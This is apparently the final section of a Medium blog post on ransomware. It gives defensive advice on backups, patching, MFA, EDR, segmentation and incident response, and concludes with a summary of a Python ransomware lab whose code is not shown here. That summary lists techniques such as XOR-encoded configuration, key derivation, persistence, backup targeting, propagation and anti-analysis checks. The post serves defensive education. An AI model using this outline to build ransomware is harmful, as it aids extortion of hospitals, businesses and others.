- Expand attacks against hospitals, schools, businesses, and governments
Ransomware has evolved into a multi-billion-dollar criminal industry largely because victims continue to pay. Each payment reinforces the profitability of cyber extortion and encourages additional attacks worldwide.
Instead of relying on ransom payments, organizations should focus on resilience and preparation.
How to Protect Yourself From Ransomware
Although ransomware is extremely dangerous, organizations can significantly reduce their risk by implementing layered security defenses and proactive recovery strategies.
Maintain Offline Backups
The most effective protection against ransomware is having secure offline backups.
Follow the 3–2–1 backup rule:
- Keep 3 copies of your data
- Store them on 2 different media types
- Keep 1 copy offline or immutable
Backups should be tested regularly to ensure they can actually be restored during an incident.
Keep Systems Patched
Many ransomware attacks exploit known vulnerabilities with publicly available patches.
Regularly update:
- Operating systems
- Browsers
- VPN appliances
- Firewalls
- Remote access services
- Third-party applications
Unpatched systems are one of the easiest entry points for attackers.
Use Multi-Factor Authentication (MFA)
Enable MFA wherever possible, especially for:
- Remote Desktop Protocol (RDP)
- VPN access
- Email accounts
- Administrative accounts
- Cloud services
Stolen passwords alone should never be enough to access critical systems.
Restrict Administrative Privileges
Users should only have access to the resources necessary for their work.
Applying the Principle of Least Privilege (PoLP) limits the damage ransomware can cause if an account becomes compromised.
Train Users to Recognize Phishing
Human error remains one of the primary causes of ransomware infections.
Employees should learn how to identify:
- Suspicious email attachments
- Fake invoices
- Urgent payment requests
- Malicious links
- Social engineering attempts
Security awareness training and phishing simulations are critical defensive measures.
Deploy Endpoint Detection and Response (EDR)
Modern EDR solutions can detect suspicious behaviors such as:
- Mass file encryption
- Privilege escalation
- Lateral movement
- Persistence installation
- Credential dumping
Behavior-based detection is often more effective than traditional signature-based antivirus solutions.
Segment Networks
Network segmentation prevents ransomware from spreading freely across infrastructure.
Critical systems, servers, backups, and sensitive environments should be isolated behind internal firewalls and strict access controls.
Develop an Incident Response Plan
Organizations should prepare for ransomware attacks before they happen.
An effective incident response plan should include:
- Isolation procedures
- Backup restoration workflows
- Internal communication processes
- Legal and regulatory considerations
- Contact information for incident response teams
Preparation dramatically reduces recovery time and operational damage.
The goal of studying ransomware is not to replicate criminal behavior, but to understand how modern attacks operate so defenders can build stronger protections. Awareness, preparation, layered security, and resilient recovery strategies remain the most effective weapons against ransomware.
Conclusion: Knowledge as Defense
This laboratory demonstrates that creating functional ransomware doesn’t require advanced programming expertise or specialized knowledge. The fundamental concepts file encryption, key derivation, persistence mechanisms, and psychological manipulation — can be implemented in a few hundred lines of Python by anyone with intermediate programming skills.
This accessibility is precisely what makes ransomware such a persistent and growing threat. The barrier to entry is extremely low, the potential profits are enormous (ransoms frequently reach millions of dollars), and the risk of prosecution is relatively small due to international jurisdictional challenges and the use of cryptocurrency.
Every function in these scripts serves a specific purpose, and every technique has been refined through real-world deployment by actual attackers. The XOR-encoded configuration strings prevent casual detection. The three-layer key derivation ensures that only the attacker can decrypt files. The parallel encryption using multiprocessing maximizes speed. The persistence mechanisms ensure the ransomware survives reboots. The ransom note uses psychological pressure to encourage payment.
But understanding how these attacks work is the first and most critical step in defending against them. By examining the techniques — anti-analysis checks, machine fingerprinting, per-file encryption, metadata storage, backup targeting, and network propagation — security professionals can design more effective defensive strategies.
The code is elegant in its simplicity and terrifying in its effectiveness. It demonstrates that Python, a language designed to be accessible and easy to learn, can be weaponized to cause devastating damage. But the same understanding that enables attacks also enables defense.
Organizations that implement layered defenses offline backups, network segmentation, endpoint detection, least privilege access, security awareness training, and prompt patching can significantly reduce their risk. The ransomware epidemic will continue as long as victims pay and defenses remain inadequate, but with proper preparation and vigilance, you can protect your organization from becoming the next victim.
Remember: This lab is strictly for authorized cybersecurity education. Understanding how ransomware works makes you a better defender, not an attacker. Use this knowledge responsibly to protect systems and educate others about these very real threats facing organizations worldwide.
Written by Përparim Mjeku.
메타데이터
- post_id
- d3c62965befe
- slug
- the-anatomy-of-ransomware-d3c62965befe
- url
- https://medium.com/@perparimimjeku/the-anatomy-of-ransomware-d3c62965befe
- canonical_url
- https://medium.com/@perparimimjeku/the-anatomy-of-ransomware-d3c62965befe
- author_url
- https://medium.com/@perparimimjeku
- status
- ok
- fetched_at
- 2026-06-09 15:37:30